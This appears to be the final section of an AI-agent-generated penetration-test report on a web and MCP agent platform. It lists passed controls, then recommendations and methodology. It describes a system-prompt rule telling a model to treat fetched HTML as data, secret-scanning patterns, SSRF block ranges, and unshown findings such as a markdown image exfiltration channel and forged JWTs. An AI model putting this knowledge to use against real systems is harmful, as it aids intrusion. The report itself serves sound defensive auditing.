Observed: Tools not in the intersection of getAllowedToolsForAgent(agentSlug) and JWT scope.allowedActions are never registered with the McpServer instance. They do not appear in tools/list and cannot be called. Unknown agent slugs return an empty Set (deny-all). Every persona has a non-empty allowlist (enforced by test). The double-layer check (persona allowlist AND JWT allowedActions) provides defense-in-depth.

AUTHORIZATION: PER-AGENT MCP TOOL ALLOWLIST ENFORCEMENT VIA GETALLOWEDTOOLSFORAGENT

Test method: Source review of buildMcpServer (packages/tools/src/adapters/mcp.ts) and getAllowedToolsForAgent (packages/agents/src/index.ts). Verified the allowlist is computed from persona definitions and enforced at tool registration time.

Observed: Tools not in the agent's allowlist are not registered on the MCP server, they don't appear in tools/list and cannot be called. Additionally, the JWT scope.allowedActions provides a second enforcement layer. Unknown slugs return empty set → zero tools available. Librarian-only tools have additional assertLibrarianCaller guard.

AUTHORIZATION: POST /API/FINDINGS/:FINDINGID/REMEDIATION REJECTS CLI JWTS, API TOKENS, AND AUDITOR-ROLE SESSIONS VIA REQUIREORGWRITE

Test method: Read apps/api/src/routes/findings.ts:1-40 and apps/api/src/lib/auth-helpers.ts requireOrgWrite implementation; verified that only Clerk sessions with org:admin or org:member roles are admitted, and that CLI JWT / API token paths carry no orgRole and are rejected with 403.

Observed: requireOrgWrite explicitly checks for Clerk session + role admin/member. CLI JWT and API token auth contexts have no orgRole and are rejected before reaching handler logic. Auditor role is also rejected.

AUTHORIZATION: SERVER-STAMPED AGENT ATTRIBUTION ON FINDINGS, AGENTSLUG FROM JWT, NOT AGENT INPUT

Test method: Source review of insertNumberedRow (lib/numbered-insert.ts:110,144) and submit-hint.ts. Verified integration tests confirm server-stamping even when agent passes different slug.

Observed: discovererAgentSlug is stamped from ctx.agentSlug (JWT claim) in numbered-insert.ts. Integration test submit-hint.integration.test.ts:83 explicitly tests: "stamps the JWT agentSlug even if the agent passes a different one in input". Agent cannot forge attribution, the server always wins.

AUTHORIZATION: SERVER-STAMPED IDENTIFIERS ON ALL MCP WRITE OPERATIONS (SUBMIT_FINDING, SUBMIT_CHAIN, SUBMIT_HINT, SUBMIT_CLEAN_TEST)

Test method: Reviewed insertNumberedRow in apps/api/src/mcp/lib/numbered-insert.ts and all makeSubmit*Tool factories. Confirmed engagementId, clerkOrgId, sessionId, displayNumber, discovererAgentSlug are always sourced from the verified JWT context (ctx), never from agent input.

Observed: Agent payload schemas (findingInsertPayloadSchema, chainInsertPayloadSchema, etc.) use Zod .strip() to remove unrecognized fields. Server values are spread AFTER agent input in the object literal, ensuring server values always

override any agent-supplied duplicates. Both layers (schema stripping + spread order) would independently prevent org/engagement spoofing.

AUTHORIZATION: SERVICE JWT SANDBOX PATH TRAVERSAL PREVENTION

Test method: Source review of packages/tools/src/service-jwt.ts: verifyServiceJwt validates sandboxDir is a strict subdirectory of ENGAGEMENT_SANDBOX_ROOT (/tmp/engagements) using resolve() + startsWith(root + '/'), and repoDir must be inside sandboxDir when present.

Observed: Path traversal via forged service JWT is blocked. resolve() canonicalizes '..' before the prefix check. Equality to root is rejected (strict subdirectory only). repoDir is additionally constrained to be inside sandboxDir. Missing required fields (engagementId, clerkOrgId, agentSlug, sandboxDir, scope) throw, preventing partial JWT exploitation.

CERTIFICATE MANAGEMENT: CERTIFICATE TRANSPARENCY MONITORING VIA CRT.SH, NO UNEXPECTED CERTIFICATES ISSUED

Test method: Queried crt.sh for all certificates issued to *.example.com; cross-referenced all 7 unique names against the known attack surface.

Observed: All 7 certificates (example.com, *.example.com, api, accounts, clerk, www, checkout) are from expected CAs (Let's Encrypt E8, Google Trust Services WE1) and map to known infrastructure. No shadow certificates or unexpected wildcard issuances observed.

CONFIGURATION: CAA RECORDS RESTRICT CERTIFICATE ISSUANCE WITH INCIDENT REPORTING

Test method: Queried example.com CAA records via dnspython and cross-referenced with actual certificate issuers

Observed: CAA records present with 5 authorized CAs (Cloudflare default set: pki.goog, letsencrypt.org, digicert.com, comodoca.com, ssl.com) plus iodef reporting to mailto:security@example.com. CA set is appropriate for Cloudflare-managed zone. Actual certs issued by pki.goog (Google Trust Services).

CONFIGURATION: CLOUDFLARE MANAGED BOT CHALLENGE ON /MCP ENDPOINT

Test method: Sent unauthenticated POST, OPTIONS, GET, and DELETE requests to https://api.example.com/mcp without any Authorization header.

Observed: All four requests returned HTTP 403 with Cloudflare's managed challenge page (cType: 'managed', cZone: 'api.example.com'). The MCP endpoint never receives unauthenticated requests from non-Cloudflare-verified clients. This pre-auth layer blocks automated scanning and credential-stuffing against the JWT auth.

CONFIGURATION: CLOUDFLARE MANAGED BOT CHALLENGE ON API ENDPOINTS

Test method: Sent direct HTTP requests to api.example.com/health, api.example.com/api/engagements, and api.example.com/api/auth/cli-token/revoke from a non-browser client with standard browser User-Agent.

Observed: All three requests returned 403 with Cloudflare managed challenge HTML (cType: 'managed'). No API endpoint was reachable without solving the JavaScript challenge. This blocks automated scanners, credential stuffing, and scripted API abuse from non-browser clients. Confirmed by Cloudflare ray IDs in response headers.

CONFIGURATION: CONTENT SECURITY POLICY ON EXAMPLE.COM

Test method: Fetched example.com / and reviewed CSP header

Observed: Strict CSP with no unsafe-inline, no unsafe-eval; SHA256 hash for single hydration inline script; script-src whitelists Clerk, Stripe, GTM; object-src 'none'; base-uri 'self'; form-action 'self'. Applied globally via render.yaml.

CONFIGURATION: ENVIRONMENT VARIABLE GROUP SEPARATION LIMITS BLAST RADIUS

Test method: Reviewed render.yaml envVarGroups configuration for the static web service vs API service

Observed: Two distinct groups: acmeco-web-public (only VITE_CLERK_PUBLISHABLE_KEY, VITE_API_URL) and acmeco-secrets (all 13 API/auth secrets). Static web build only inherits acmeco-web-public, preventing Vite build plugins from accessing API secrets via process.env.

CONFIGURATION: ERROR HANDLER SANITIZES 5XX RESPONSES, NO STACK TRACE OR INTERNAL STATE LEAKAGE

Test method: Reviewed the global error handler (index.ts:39-46), custom 404 handler (index.ts:47-49), and MCP error handler (mcp.ts:74-83). Verified response bodies for 5xx and 404 error conditions.

Observed: 5xx errors return generic `{ error: 'Internal Server Error' }`, stack traces go only to server logs. 404 returns `{ error: 'Not Found' }` without Fastify framework fingerprinting. MCP errors return generic JSON-RPC envelopes `{ code: -32603, message: 'internal error' }`. 4xx errors return user-actionable messages (err.message) which is expected behavior.

CONFIGURATION: FASTIFY ERROR HANDLER SUPPRESSES 5XX DETAILS

Test method: Reviewed apps/api/src/index.ts:39-46 setErrorHandler implementation; checked that 5xx errors return generic response while 4xx preserve user-actionable messages

Observed: Global error handler at index.ts:39 returns `{ error: 'Internal Server Error' }` for all 5xx, with full error logged server-side only. 4xx errors pass through `err.message` for user feedback. Custom 404 handler returns `{ error: 'Not Found' }`. No framework version or stack trace leakage on server errors.

CONFIGURATION: GOOGLE WORKSPACE DOMAIN VERIFICATION ACTIVE

Test method: Queried example.com TXT records for google-site-verification token

Observed: Google site verification TXT record present: google-site-verification=AbcDefGhiJklMnoPqrStuvWxyz0123456789ABCDEF. Domain is verified with Google Workspace. MX records point to standard Google Workspace mail servers with

correct priority weighting (1, 5, 5, 10, 10).

CONFIGURATION: JAVASCRIPT SOURCE MAPS SUPPRESSED IN PRODUCTION

Test method: Requested https://example.com/assets/app-D0bFXJ6j.js.map (both GET and HEAD); also checked /asset-manifest.json

Observed: All .map requests return HTTP 200 SPA fallback HTML, not source map JSON. Source content is not recoverable from the CDN. No .sourceMappingURL comment in bundle. Vite manifest also suppressed.

CONFIGURATION: NO PUBLIC LLM PROXY ENDPOINT EXPOSED

Test method: Searched all route files for AI/chat/completion/LLM endpoint patterns; enumerated all registered Fastify routes in the route directory; checked attack-surface.md endpoint inventory

Observed: No /api/chat, /api/completion, /v1/messages, /api/ai, /api/generate, or similar LLM proxy endpoints exist. The only AI-facing endpoint is POST /api/credential-helper/discover-login (authenticated, rate-limited). All Anthropic API calls are server-side only, never proxied to client requests. The /mcp endpoint is internal (service JWT auth only).

CONFIGURATION: NO SUBDOMAIN TAKEOVER VULNERABILITIES, ALL CNAMES RESOLVE TO ACTIVE TARGETS

Test method: Resolved all known subdomains (accounts, clerk, mta-sts, api) and followed CNAME chains to terminal A records. Probed 30+ common subdomain names for hidden records.

Observed: accounts.example.com → accounts.clerk.services (active, 403 Cloudflare challenge). clerk.example.com → frontend-api.clerk.services (active, 405). api.example.com → Cloudflare proxy IPs (active). No dangling CNAMEs pointing to decommissioned or claimable resources. mta-sts CNAME target exists on Render (CF error 1000 is a proxy conflict, not a takeover vector).

CONFIGURATION: PG-BOSS JOB QUEUE ACCESS RESTRICTED TO APPLICATION PROCESS

Test method: Source review of worker.ts. Verified pg-boss uses DATABASE_URL for its connection (same PostgreSQL instance), jobs are not exposed via any API endpoint, and singletonKey prevents duplicate job injection.

Observed: pg-boss runs in-process with the API server. Job data (PentestSessionContext with engagementId, clerkOrgId, target, scope) is stored in pgboss.job table in PostgreSQL, protected by database credentials. No API route exposes job queue internals. singletonKey `${engagementId}:${phase}` prevents duplicate jobs for the same engagement/phase combination.

CONFIGURATION: SOURCE MAPS NOT SERVED IN PRODUCTION

Test method: Requested .js.map files for the main bundle (app-D0bFXJ6j.js.map) and RootLayout chunk (RootLayout-WKodL7EA.js.map) from example.com

Observed: Both requests returned 200 with the SPA fallback HTML (index.html), not source maps. The Render static service does not publish .map files, preventing source code reconstruction from production bundles.

CORS: CORS RESTRICTED TO SINGLE CONFIGURABLE ORIGIN WITH CREDENTIALS

Test method: Source review of apps/api/src/index.ts:71-74, @fastify/cors registration with origin from env

Observed: CORS origin is `process.env['CORS_ORIGIN']` (single string, not wildcard), with `credentials: true`. Env var stored in Render dashboard (sync: false in render.yaml). Fallback is localhost for dev only. No `Access-Control-Allow-Origin: *` with credentials

DEPENDENCIES: LOCKFILE INTEGRITY ENFORCEMENT IN CI/CD BUILDS

Test method: Reviewed render.yaml buildCommand for all services and checked pnpm-lock.yaml for integrity hashes

Observed: All build commands use --frozen-lockfile flag. pnpm-lock.yaml v9.0 contains SHA-512 integrity hashes for every resolved package. Two patched dependencies (react-router-dom, vite-react-ssg) have patch hashes verified at resolution.

DEPENDENCIES: NO SUSPICIOUS PRE/POST INSTALL SCRIPTS IN DEPENDENCY TREE

Test method: Searched pnpm-lock.yaml for preinstall, postinstall, prepack script entries. Checked root package.json for lifecycle scripts.

Observed: Only lifecycle script found: root package.json prepare: "husky" (standard git hooks setup). No preinstall or postinstall scripts in any workspace package. No requiresBuild entries in lockfile for non-native packages.

DEPENDENCIES: WORKSPACE PROTOCOL PREVENTS DEPENDENCY CONFUSION FOR INTERNAL PACKAGES

Test method: Verified all 11 @acmeco/* internal packages use workspace:* protocol in pnpm-lock.yaml and are marked private: true

Observed: All internal packages resolve to local workspace links (e.g., version: link:../../packages/tools). pnpm workspace:* protocol forces local resolution regardless of npm registry state. All packages have "private": true preventing accidental publish.

EMAIL AUTHENTICATION: DKIM SIGNING WITH 2048-BIT RSA KEY VIA GOOGLE WORKSPACE

Test method: Queried google._domainkey.example.com TXT and decoded the RSA public key to verify key size

Observed: Active DKIM selector (google._domainkey) with v=DKIM1;k=rsa; 2048-bit RSA public key. No revoked or weak selectors found across 20+ selector names probed.

EMAIL AUTHENTICATION: DMARC AGGREGATE REPORTING CONFIGURED

Test method: Queried _dmarc.example.com TXT record

Observed: DMARC record present with rua=mailto:dmarc-reports@example.com and pct=100 for full coverage. Domain owner receives aggregate failure reports for visibility.

EMAIL AUTHENTICATION: SPF RECORD PROPERLY SCOPED TO GOOGLE WORKSPACE ONLY

Test method: Resolved example.com TXT and traced the full include chain through _spf.google.com

Observed: SPF includes only _spf.google.com (Google Workspace IPs). Total DNS lookup count: 1 (well within 10-lookup limit). No stale includes from unused providers. _spf.google.com record is flat (ip4/ip6 only, no nested includes).

EMAIL AUTHENTICATION: TLS-RPT REPORTING CONFIGURED FOR SMTP TRANSPORT SECURITY VISIBILITY

Test method: Queried _smtp._tls.example.com TXT record

Observed: TLS-RPT record present: v=TLSRPTv1; rua=mailto:tls-reports@example.com. Domain receives TLS failure reports from sending MTAs per RFC 8460.

ERROR HANDLING: GENERIC ERROR HANDLER SUPPRESSES STACK TRACES AND FRAMEWORK FINGERPRINTING

Test method: Source review of apps/api/src/index.ts:39-48, global setErrorHandler and setNotFoundHandler

Observed: 5xx errors return `{ error: 'Internal Server Error' }` with no stack trace; 4xx return `{ error: err.message }` only; custom 404 handler returns `{ error: 'Not Found' }`. Server header shows 'cloudflare' only, no Fastify version leak

GITHUB REPOSITORY SECURITY: SOURCE REPOSITORY IS PRIVATE, NOT PUBLICLY ACCESSIBLE

Test method: Attempted to access https://github.com/acmeco/web with unauthenticated request; also checked acmeco org public repos listing.

Observed: https://github.com/acmeco/web returns 404 (repo private or non-existent under that path); acmeco org shows no public repositories. No source code leaked via GitHub.

INFORMATION DISCLOSURE: HEALTH ENDPOINT RETURNS MINIMAL STATUS-ONLY RESPONSE

Test method: Source review of apps/api/src/routes/health.ts, verified response shape

Observed: GET /health returns only `{ status: 'ok' }`, no version, environment, deployment info, or dependency status. Log level silenced for health check requests to avoid log pollution

INPUT VALIDATION: FINDINGINSERTPAYLOADSCHEMA REJECTS SERVER-OWNED FIELDS AND ENFORCES ENUM/REGEX CONSTRAINTS ON SEVERITY, CWE, OWASP, CVSSSCORE, CVSSVECTOR, TSCMAPPING

Test method: Read apps/api/src/db/agent-payload-schemas.ts and the full test suite in apps/api/src/db/**tests**/finding-schema.test.ts; verified that engagementId, clerkOrgId, sessionId, displayNumber are absent from the schema and are server-stamped, and that severity/cwe/owasp/cvssScore/cvssVector fields have regex-enforced validation.

Observed: Schema uses .strip(), unrecognised fields are silently dropped. Severity enum, CWE pattern (CWE-\d+), OWASP pattern (A\d{2}:\d{4}), CVSS score (\d+.\d), and CVSS vector (must start AV:) all validated. Server-owned fields cannot be injected by agent input.

INPUT VALIDATION: PARAMETERIZED SQL QUERIES IN SEQUELIZE RAW QUERY USAGE

Test method: Grep for Sequelize.literal, sequelize.query, raw SQL patterns across apps/api/src. Reviewed all raw query callsites.

Observed: All raw SQL queries use parameterized replacements ($1/$2 or :named syntax). Column names in dynamic queries use a whitelist map (COLUMN_BY_PHASE) with guard return on miss. queryRows helper enforces bind/replacements pattern. No string interpolation of user input into SQL.

INPUT VALIDATION: PROMPT INJECTION DEFENSE ON CREDENTIAL-HELPER AI INTEGRATION

Test method: Reviewed credential-helper.ts system prompt and user message construction. Analyzed untrusted content wrapping, host-equality validation on AI-returned URLs, and output sanitization

Observed: HTML content wrapped in explicit `<untrusted_content>` tags. System prompt instructs model to treat content as data, not instructions. AI-returned loginUrl and verifyUrl validated via resolveSameHost(), must resolve to same host as targetUrl. Non-matching hosts rejected with host_mismatch error. Model output parsed with strict JSON extraction. 50KB body cap prevents large payload injection.

INPUT VALIDATION: SSRF PROTECTION ON CREDENTIAL-HELPER WITH COMPREHENSIVE INTERNAL ADDRESS BLOCKING

Test method: Reviewed apps/api/src/lib/internal-host.ts: isInternalAddress() covers IPv4 RFC1918 (10.x, 172.16-31.x, 192.168.x), loopback (127.x), IMDS (169.254.x), multicast (224+), IPv6 ULA (fc/fd), link-local (fe80), mapped v4 (::ffff:); isInternalHost() fails closed on DNS resolution failure; fetch uses redirect:'manual'

Observed: Address ranges are comprehensive, covers all standard SSRF targets. DNS resolution failures return true (fail-closed). Redirect following is disabled, preventing redirect-based SSRF bypass. Combined with requireOrgWrite and 5/min rate limit, the attack surface is heavily constrained.

INPUT VALIDATION: PATH TRAVERSAL GUARD (SAFEPATH) ON ALL FILE SYSTEM TOOLS

Test method: Reviewed packages/tools/src/safe-path.ts. Checked all call sites: file_read, file_write, source_grep, source_read, git_clone. Verified the guard rejects absolute paths, '..' segments (split on both / and), prefix escapes, and symlink-based sandbox escapes via realpathSync.

Observed: safePath rejects: (1) absolute paths via isAbsolute(), (2) '..' segments via split/includes, (3) resolved paths outside base via startsWith(base + '/'), (4) symlink-resolved paths outside base via realpathSync + re-check. verifyServiceJwt additionally

validates sandboxDir is a strict subdirectory of ENGAGEMENT_SANDBOX_ROOT and repoDir is inside sandboxDir.

INPUT VALIDATION: PATH TRAVERSAL PREVENTION FOR SANDBOXDIR AND REPODIR IN SERVICE JWT

Test method: Source review of verifyServiceJwt in packages/tools/src/service-jwt.ts. Checked both sandboxDir and repoDir validation using path.resolve() + startsWith() checks.

Observed: sandboxDir must be a strict subdirectory of ENGAGEMENT_SANDBOX_ROOT (equality rejected, only `startsWith(root + '/')` accepted). repoDir must be inside sandboxDir (`startsWith(resolvedSandboxDir + '/')`). A forged JWT with sandboxDir set to the root itself, or repoDir pointing at /etc or another engagement's sandbox, is rejected with a descriptive error.

INPUT VALIDATION: SCOPE ENFORCEMENT ON HTTP_REQUEST TOOL WITH PSL-AWARE ETLD+1 WIDENING

Test method: Reviewed packages/tools/src/scope-check.ts and packages/tools/src/etld.ts. Checked isSameOrSubdomain for prefix-spoof attacks and getEtldPlusOne for shared-hosting domain handling via the Public Suffix List.

Observed: enforceScope uses PSL (psl npm package) to compute the registrable domain (eTLD+1). Shared hosting domains like github.io, herokuapp.com are handled correctly (app.user.github.io widens to user.github.io, not github.io). isSameOrSubdomain uses `.${p}` suffix check to prevent prefix-spoof attacks (evil-example.com does not match example.com). IP literals return null from getEtldPlusOne, preventing widening on IP-based targets.

INPUT VALIDATION: SQL INJECTION PREVENTION, ALL QUERIES USE PARAMETERIZED BINDS

Test method: Searched all raw SQL across apps/api/src/ using grep for rawQuery, .query(, sql`, .literal(. Reviewed every match: numbered-insert.ts uses $1 bind params for pg_advisory_xact_lock and pg_notify; user-credentials.ts uses :namedReplacements;

session-handler.ts uses column whitelist (COLUMN_BY_PHASE); Drizzle sql`` tag auto-parameterizes; ingest-handler.ts uses hardcoded SQL without user input.

Observed: Zero instances of user input interpolated into SQL. All dynamic query values pass through Sequelize named replacements (:param), positional bind params ($1), or Drizzle's sql template tag. Column name interpolation in session-handler.ts uses a static whitelist map (COLUMN_BY_PHASE) that cannot be influenced by user input.

INPUT VALIDATION: SSRF PROTECTION IN CREDENTIAL HELPER

Test method: Reviewed credential-helper.ts and internal-host.ts source code

Observed: Pre-fetch DNS resolution check blocks loopback, link-local (including AWS IMDS 169.254.169.254), RFC1918 private, multicast. Redirect following disabled (redirect: 'manual'). Per-org rate limit at 5/min. Requires requireOrgWrite (Clerk session only).

INPUT VALIDATION: WEBHOOK SIGNATURE VERIFICATION ON CLERK AND STRIPE ENDPOINTS

Test method: Reviewed POST /api/webhooks/clerk (clerk-webhooks.ts:25-58) and POST /api/stripe/webhook (stripe.ts:610-630). Both verify cryptographic signatures before processing any state changes. Clerk uses Svix Webhook.verify(); Stripe uses stripe.webhooks.constructEvent().

Observed: Both endpoints require raw body access for signature computation, reject requests with missing/invalid signatures (400), and only process events after successful verification. State-changing handlers (handleUserCreated, handleCheckoutCompleted, etc.) execute strictly after signature pass.

SECRETS MANAGEMENT: ANTHROPIC_API_KEY ISOLATED FROM CLIENT BUNDLES VIA ENVIRONMENT GROUP SEPARATION

Test method: Grepped all source files for sk-ant-, ANTHROPIC_API_KEY patterns; fetched and analyzed main JS bundle (app-D0bFXJ6j.js), API helper (api-CEshcNU1.js), and RootLayout bundle; checked .env.example and render.yaml env groups

Observed: ANTHROPIC_API_KEY only accessed via process.env in server-side code (credential-helper.ts:66, session-handler.ts:26, orchestrator-runner.ts:178, worker.ts:164). Not present in any JS bundle. render.yaml splits env into acmeco-web-public (VITE_* only) and acmeco-secrets (API keys). .env.example has empty placeholder for ANTHROPIC_API_KEY. No hardcoded key patterns found anywhere.

SECRETS MANAGEMENT: ENVIRONMENT FILES EXCLUDED FROM VERSION CONTROL

Test method: Verified .gitignore contains .env and .env.* exclusions, checked git ls-files for any tracked .env files

Observed: .gitignore lines 3-5: .env, .env.*, !.env.example. No .env files tracked in git. The !.env.example exception allows safe example files without real secrets.

SECRETS MANAGEMENT: NO CLERK SECRET KEY (SK_LIVE_/SK_TEST_/CLERK_SECRET_KEY VALUE) IN SOURCE, BUNDLES, OR SOURCEMAPS

Test method: Source-grepped entire repo for sk_live_, sk_test_, and CLERK_SECRET patterns. Fetched *.js.map sourcemap URLs. Fetched /.env. Checked .gitignore for .env exclusion. Reviewed render.yaml env group structure.

Observed: No secret key values found in source (only references to the env var name). .env and .env.* are gitignored; .env.example has empty values. Sourcemap URLs return SPA fallback HTML (no maps deployed). /.env returns SPA fallback. CLERK_SECRET_KEY is in render.yaml's acmeco-secrets env group with sync:false (server-side only). docs/bitten-us.md documents a caught incident where the key was almost prefixed with VITE_ (which would have exposed it in the build).

SECRETS MANAGEMENT: NO HARDCODED SECRETS IN SOURCE-CONTROLLED CONFIGURATION

Test method: Grep entire repo for secret patterns (sk_live_, sk_test_, sk-ant, AKIA, ghp_, whsec_) and reviewed render.yaml env var groups

Observed: All secret matches are in test fixtures, documentation/prompts, or UI placeholder text. render.yaml uses sync: false for all 13 secret keys (CLERK_SECRET_KEY, ANTHROPIC_API_KEY, STRIPE_SECRET_KEY, SERVICE_JWT_SECRET, etc.), values set in Render UI, not in file.

SECRETS MANAGEMENT: NO SECRET KEYS (STRIPE SK_LIVE_, CLERK SK_LIVE_, API TOKENS) EMBEDDED IN JS BUNDLES

Test method: Downloaded and inspected api-CEshcNU1.js, RootLayout-WKodL7EA.js, NewEngagement-QaIt0lOI.js, ReportViewer-Cqvabqo_.js, and app-D0bFXJ6j.js. Grepped source for sk_live_, sk_test_, AKIA, ghp_, xox patterns.

Observed: Only public-facing publishable key found: Clerk pk_live_Y2xlcmsuc3dhcm1zZWMuYWkk (pk_live_ prefix = intentionally public). No Stripe secret key, no Clerk secret key, no API tokens, no AWS credentials found in any bundle.

SECRETS MANAGEMENT: FILE SYSTEM ERROR SANITIZATION PREVENTS SANDBOX PATH DISCLOSURE TO AGENTS

Test method: Reviewed packages/tools/src/sanitize-fs-error.ts and all call sites (file_read, file_write, source_read, source_grep, git_clone). Confirmed absolute paths are replaced before surfacing to the agent.

Observed: sanitizeFsError replaces all occurrences of the baseDir (sandboxDir or repoDir) with a generic '<path>' label before returning the error message. source_grep additionally sanitizes grep's stderr output. git_clone sanitizes both err.message and stderr from git commands. The sanitization prevents agents from learning the host filesystem layout (/tmp/engagements/<id>/) from error messages.

SECRETS MANAGEMENT: USER CREDENTIAL PASSWORDS NEVER RETURNED VIA API, PLAINTEXT ISOLATED TO WORKER-ONLY USEUSERCREDENTIAL

Test method: Source review of user-credentials.ts (route + lib). Verified listUserCredentials returns UserCredentialMeta shape (no password field), and useUserCredential (plaintext decrypt) is worker-only with scope enforcement.

Observed: GET /api/user-credentials returns metadata only (id, targetUrl, username, authKind, label, expiryStatus). The toMeta() function explicitly constructs the response shape without the password_enc or decrypted password. Plaintext passwords are only decrypted by useUserCredential(), which enforces scope matching (credential targetUrl must match engagement target) and is only called from the worker's auth_test specialist path.

SESSION MANAGEMENT: STREAM TICKET SINGLE-USE ENFORCEMENT

Test method: Source review of apps/api/src/routes/stream.ts: POST /stream-ticket mints a UUID ticket with 30s TTL stored in process memory Map. GET /stream consumes the ticket with tickets.get(ticket) followed immediately by tickets.delete(ticket), delete runs before any async work.

Observed: Tickets are consumed atomically (synchronous get+delete in the Node.js event loop). Even if validation fails (wrong engagementId, expired), the ticket is deleted. No race condition possible between concurrent requests, second request gets undefined from tickets.get(). 30s TTL with 60s cleanup interval prevents memory leak.

TLS: TLS 1.3 WITH STRONG CIPHER ON CLERK CUSTOM DOMAIN ENDPOINTS

Test method: tls_inspect on clerk.example.com:443 and accounts.example.com:443

Observed: Both endpoints negotiate TLSv1.3 with TLS_AES_256_GCM_SHA384. ECDSA P-256 leaf certs issued by Google Trust Services (WE1 intermediate → GTS Root R4). Hostname matches CN exactly. Valid cert chain verified (depth=0, 1, 2 all return verify:ok).

TLS: TLS 1.3 WITH STRONG CIPHER ON ORIGIN SERVER

Test method: tls_inspect against acmeco-api-x4f2.onrender.com:443

Observed: TLSv1.3 negotiated with TLS_AES_256_GCM_SHA384. ECDSA 256-bit server key, X25519 key exchange. Valid cert chain via Google Trust Services. No TLS 1.0/1.1 fallback observed

TLS: TLS 1.3 WITH STRONG CIPHERS ON ALL WEB-FACING HOSTS

Test method: tls_inspect against example.com:443 and api.example.com:443

Observed: Both hosts negotiate TLS 1.3 with TLS_AES_256_GCM_SHA384 cipher and ECDSA P-256 server keys (X25519 key exchange). Certificates issued by Google Trust Services (WE1), valid and chain-verified. No TLS 1.2 fallback observed.

TLS: TLS VERSION AND CIPHER STRENGTH ON EXAMPLE.COM

Test method: Ran tls_inspect against example.com port 443

Observed: TLS 1.3 negotiated with TLS_AES_256_GCM_SHA384, Google Trust Services ECDSA cert, valid until July 2026. No fallback to TLS 1.2 observed.

WAF / BOT MANAGEMENT: CLOUDFLARE MANAGED BOT CHALLENGE ON API.EXAMPLE.COM (SITE-WIDE)

Test method: Sent 14 HTTP probes across GET/POST/OPTIONS on multiple paths (/health, /api/admin, /api/debug, /api/internal, /api/graphql, /api/v2, /api/docs, /api/swagger, /api/webhooks/clerk, /api/stripe/webhook, /api/auth/cli-token/revoke, /) with various Content-Types

Observed: All 14 probes returned HTTP 403 with Cloudflare managed challenge page (cType: 'managed'). Uniform response across all paths/methods, no differentiation between existing and non-existing endpoints, preventing automated endpoint enumeration

WEBHOOK SECURITY: CLERK WEBHOOK SIGNATURE VERIFICATION (SVIX) WITH SANITIZED ERROR RESPONSES

Test method: Source review of apps/api/src/routes/clerk-webhooks.ts, verified Svix.verify() call and error response shapes

Observed: Missing svix headers return 400 `{ error: 'Missing svix headers' }`, invalid signature returns 400 `{ error: 'Invalid signature' }`. No secret material or internal details leaked in error responses

WEBHOOK SECURITY: STRIPE WEBHOOK SIGNATURE VERIFICATION WITH SANITIZED ERROR RESPONSES

Test method: Source review of apps/api/src/routes/stripe.ts, verified stripe.webhooks.constructEvent() call and error response shapes

Observed: Missing stripe-signature returns 400 `{ error: 'Missing stripe-signature header' }`, invalid signature returns 400 `{ error: 'Invalid signature' }`, handler failures return 503 `{ error: 'transient' }`. No Stripe keys, webhook secrets, or internal details leaked

08 RECOMMENDATIONS

IMMEDIATE

Immediate fixes close the cross-tenant takeover path and stop the markdown exfiltration channel. Each item is a self-contained change with a clear remediation owner.

Add an `img` override returning `null` to `ReportViewer.tsx`, `FindingDetailDrawer.tsx`, and `RemediationHistory.tsx` so finding markdown can no longer auto-fetch images. Tighten the CSP `img-src` directive at the same time (F-226, breaks C-46 and C-49).

Provision `CLI_JWT_SECRET` separate from `SERVICE_JWT_SECRET`. Rotate `SERVICE_JWT_SECRET` to invalidate any tokens forged before the rotation. Update `auth-helpers.ts` so CLI JWTs no longer skip `requirePermission` (F-230, F-231).

Restrict the origin server's HTTP listener to Cloudflare's published IP ranges so direct origin access from the internet returns 403 (F-232, breaks C-47 / C-52).

Tighten the credential-helper SSRF guard against DNS rebinding TOCTOU by resolving once and connecting to the resolved IP, not the hostname (F-228).

SHORT-TERM

Short-term work hardens authentication, identity, and credential-rotation guarantees.

Add server-side revocation tracking to API tokens (F-239) so revoking a token invalidates every token derived from it; today a leaked token survives revocation by minting a successor before the revocation lands.

Restrict the auditor role's credential-metadata visibility (F-227) so a read-only role cannot enumerate target URLs, usernames, or token prefixes.

Publish SPF, DMARC (quarantine), and a working MTA-STS policy for example.com so the email-spoofing component of the phishing chain stops working at the recipient's mail gateway.

Audit every Clerk role for write paths that bypass the role label and assert role enforcement at the Fastify route layer, not just at the Clerk admin surface.

STRATEGIC

Strategic work reframes how secrets and the engagement perimeter are managed.

Adopt per-purpose JWT signing keys (service, CLI, webhook, session) with independent rotation cadences. Today every JWT type derives from one secret; rotation requires a synchronized cutover that nobody schedules. Per-purpose keys also turn each compromise into a bounded blast radius.

Move every long-lived secret behind a managed KMS or Render-Vault-style provider with audit logging and per-engagement scoping. The triple-duty pattern in F-230 traces back to "the simplest place to put it"; a managed store removes that incentive.

Stand up a continuous attack-surface monitor that re-runs the recon, JS-bundle, and DNS phases on a daily cadence and pages on new endpoints, exposed credentials, or DNS configuration drift. Engagements catch the surface at a moment in time; production keeps drifting.

METHODOLOGY

This engagement was conducted by an autonomous swarm of AI specialist agents under orchestration. Every tool call, file read, and HTTP request issued during the run is recorded in the linked audit trail (see *Provenance*). Findings, severity ratings, and remediation guidance are produced and validated by independent specialists in the swarm, then independently reviewed by a calibration agent before inclusion.

The following standards were referenced as the assessment framework:

OWASP Top 10 (2021 + 2025 draft), Web application risk taxonomy. Every finding maps to one or more categories.

OWASP API Security Top 10 (2023), API-first risk taxonomy. Used for routes that expose JSON over HTTP.

NIST SP 800-53a Rev. 5, Assessment procedure framework. Calibrates which controls were tested and how.

OSSTMM 3 (Open Source Security Testing Methodology Manual), Operational test methodology. Frames the scope, intensity, and recordkeeping.

CVSS v3.1, Vector + score per finding. Severity classification is the CVSS-derived bucket.

CWE, Underlying weakness identifier. Cited per finding for cross-referencing.

SWARM

AUDITED BY	SwarmSec.ai
GENERATED	2026-05-06T19:32:46.533Z
ENGAGEMENT	`019dfe41-158f-7264-bb72-02a9dc9caaee`
AUDIT TRAIL	DOWNLOAD AUDIT TRAIL